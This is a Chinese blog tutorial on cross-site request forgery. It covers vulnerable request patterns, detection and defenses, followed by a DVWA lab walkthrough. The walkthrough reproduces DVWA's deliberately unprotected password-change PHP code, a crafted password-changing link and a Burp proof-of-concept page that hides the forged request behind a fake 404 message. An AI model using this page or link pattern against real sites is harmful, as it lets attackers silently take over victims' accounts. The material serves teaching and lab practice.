常见漏洞之CSRF

本文详细介绍了CSRF(跨站请求伪造)漏洞的概念、分类及防御策略,强调了与XSS攻击的区别。通过DVWA(Damn Vulnerable Web Application)的CSRF漏洞实例,展示了攻击者如何利用GET和POST请求发起CSRF攻击,以及如何构造恶意链接。防御措施包括使用POST请求、验证码、验证HTTP Referer字段和添加令牌验证。同时,文章提醒开发者注意在实际应用中加强安全性,避免类似漏洞的发生。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞简介

  • 跨站请求伪造:是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。简单来说,就是攻击者盗用一个身份,利用这个身份发送恶意代码。
  • 原理:利用目标用户的合法身份,以目标用户的名义执行某些非法操作
  • 与xss的区别
    XSS:跨站脚本攻击;利用站点内的信任用户盗取cookie
    CSRF:跨站请求伪造攻击;通过伪装成信任用户请求信任的网站

分类

  • 请求直接是个GET请求,没有token验证参数,有一个固定的变量可以被控制。
    这种漏洞的检测方法:网页操作某功能,抓包后,如果发现满足上面条件,然后再去页面测试下,基本就可以确定存在不存在CSRF漏洞了。

  • 请求是个POST请求,post请求中没有token参数,请求也没有验证referer信息。
    这种漏洞的检测方法也很简单:网页操作某功能,抓包后,如果发现没有token等参数,然后就将referer信息设置为空,再次发包请求,如果请求成功了,就说明这里有CSRF漏洞。
    如果有token等参数,可以尝试将token去掉,然后再将referer也去掉,进行验证。这种CSRF漏洞的利用,是需要在自己服务器构造一个form表单的,然后将服务器form表单的URL作为CSRF攻击进行利用的,或者用js代码生成form表单,或者用ajax实现。

  • 请求是POST,post请求中没有token参数,但是验证了referer信息。然而可以将post请求改写为get请求,然后通过第一种情况下的那个方法利用。
    这种的检测方法,就是先执行了第二种的验证后,发现有对CSRF进行防御。然后将post请求改写为GET请求,发现仍然可以成功执行。漏洞成因是因为服务器端接收请求参数的时候,没有严格的用$_POST 而是用的类似于 $_REQUEST这种post,get请求的参数都可以接收的写法。

如何防御

  • 尽量使用POST:重要数据交互采用POST进行接收,当然是用POST也不是万能的,伪造一个form表单即可破解。
  • 使用验证码:只要是涉及到数据交互就先进行验证码验证,这个方法可以完全解决CSRF。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
  • 验证HTTP Referer字段:该字段记录了此次HTTP请求的来源地址,最常见的应用是图片防盗链。PHP中可以采用APache URL重写规则进行防御。
  • 为每个表单添加令牌token并验证:要防御csrf,关键在于构造攻击者不能伪造的信息,该信息不存在与cookie中,在HTTP请求中以参数形式加入一个随机产生的token,并建立一个拦截器来验证token
  • 加入自定义的Header:这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。

DVWA之CSRF

在这里插入图片描述

  • 查看代码

CSRF Source
vulnerabilities/csrf/source/low.php
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

分析源代码,服务器在收到修改密码的请求后,回判断password_new和password_conf是否相同,若相同,修改成功;否则Passwords did not match.并没有任何防csrf的机制。

  • 构造恶意链接
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

点击此连接时,密码就会被修改。这个链接未免太明显了,所以可构造短链接

  • 使用工具构造短链接达到隐藏url的目的;但用户还是会看到自己密码被修改的页面
  • 构造攻击页面
    在公网上传一个攻击页面,当受害者访问时,使受害者误认为自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改。
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
	<img src="http://192.168.124.131/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change" style="display:none"/>
	<h1>404</h1>
	<h1>您访问的页面不存在</h1>
  </body>
</html>
### CSRF 常见漏洞 CSRF(跨站请求伪造)攻击允许恶意网站或其他媒介诱使用户向受信任的站点发送经过身份验证的HTTP请求。如果目标应用缺乏足够的防护机制,那么这些未经用户同意的操作可能会被执行。例如,在存在漏洞的情况下,攻击者可能利用已认证的身份执行诸如发送邮件、发表不当评论、更改个人信息乃至资金转移等敏感行为[^1]。 当涉及到多阶段业务流程时,即使应用程序采用了分步确认的方式处理复杂操作,这仍然无法有效抵御精心设计的CSRF攻击。假如攻击者能够推测出整个交易过程中的每一步骤所需的信息,则依然可以完成一次成功的CSRF攻击[^2]。 此外,对于那些依赖于URL参数传递状态的应用程序来说,只要攻击者掌握了必要的查询字符串组成部分,就有可能构建出有效的伪造链接来触发预期之外的行为。这是因为重要动作所需的全部参数都能够被预知或猜测出来,从而使得攻击成为可能[^3]。 ### 防御措施 为了防止CSRF攻击的发生,开发者应当采取一系列综合性的保护策略: #### 使用Anti-CSRF Token 最广泛采用的方法是在表单中加入一次性令牌——即anti-CSRF token,并将其作为隐藏字段嵌入到HTML页面内;服务器端则负责验证每次提交的数据包里是否包含了合法且匹配当前会话的有效token。这种方法确保只有来自同一源的真实用户交互才能得到授权响应。 ```html <form action="/submit" method="POST"> <!-- 其他输入框 --> <input type="hidden" name="_csrf_token" value="{{ csrf_token }}"> </form> ``` #### 实施严格的Referer/Origin Header检查 通过对`Referer` 或 `Origin` HTTP头部信息进行严格校验,可进一步增强安全性。具体做法是拒绝任何不符合预期来源地址的请求,特别是针对涉及账户管理等功能的关键路径上更为适用。 #### 设置HttpOnly Cookie属性 设置cookie为`HttpOnly` 属性意味着JavaScript脚本将无权读取该特定类型的cookies,这样即便发生XSS (Cross-Site Scripting),也难以轻易获取到用户的session ID或者其他重要的身份标识符。 #### 启用SameSite Cookies选项 现代浏览器支持一种名为`samesite` 的新特性,它可以在一定程度上阻止第三方发起的跨域请求携带同名cookie。通过配置此标志位为`Strict` 或 `Lax`模式,能够在不影响用户体验的前提下显著降低遭受CSRF的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吃_早餐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值